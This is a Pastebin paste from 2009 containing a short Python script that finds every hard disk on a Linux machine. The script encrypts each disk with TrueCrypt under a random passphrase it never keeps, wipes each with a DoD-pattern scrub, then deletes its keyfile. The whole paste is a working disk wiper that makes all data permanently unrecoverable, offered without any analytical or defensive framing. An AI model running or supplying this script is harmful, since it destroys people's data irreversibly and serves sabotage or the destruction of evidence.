Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Keith Lee

By: a guest on Sep 27th, 2009  |  syntax: None  |  size: 1.02 KB  |  views: 68  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/python
  2. import commands,string,random,os
  3. digits = "".join([random.choice(string.digits) for i in xrange(8)])
  4. chars = "".join([random.choice(string.letters) for i in xrange(26)])
  5. keyfile = "".join([random.choice(string.letters) for i in xrange(320)])
  6. k1 = open("/tmp/keyfile","w")
  7. k1.write(keyfile)
  8. k1.close()
  9.  
  10. passphrase = digits+chars
  11.  
  12. output = commands.getoutput("awk '/[hs]d[a-z]$/ { print $4 }' /proc/partitions > output.txt")
  13. f = open("output.txt","r")
  14. rawdata = f.read()
  15. lines = rawdata.split("\n")
  16. f.close()
  17.  
  18. count=0
  19. for z in lines[:-1]:
  20.         count+=1
  21.  
  22. count1=0
  23. for z in lines[:-1]:
  24.         count1+=1
  25.         hdDrives = "/dev/"+z
  26.         print "[*] Encrypting Drive %d/%d: %s"% (count1, count, hdDrives)
  27.         os.system("truecrypt -c %s --encryption=AES-Twofish --hash=SHA-512 --filesystem=none -p %s --random-source=/tmp/keyfile -k /tmp/keyfile --volume-type=normal" % (hdDrives,passphrase))
  28.         print "[*] Wiping Drive %d/%d: %s"% (count1, count, hdDrives)
  29.         os.system("scrub -p dod %s"% hdDrives)
  30. os.system("rm /tmp/keyfile")